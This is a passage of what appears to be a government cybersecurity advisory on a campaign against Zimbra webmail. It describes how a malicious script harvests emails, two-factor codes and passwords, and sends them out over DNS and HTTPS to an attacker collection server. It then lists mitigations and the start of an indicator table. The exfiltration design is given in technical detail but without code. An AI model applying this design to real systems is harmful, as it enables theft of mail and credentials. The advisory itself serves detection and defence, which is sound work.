<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
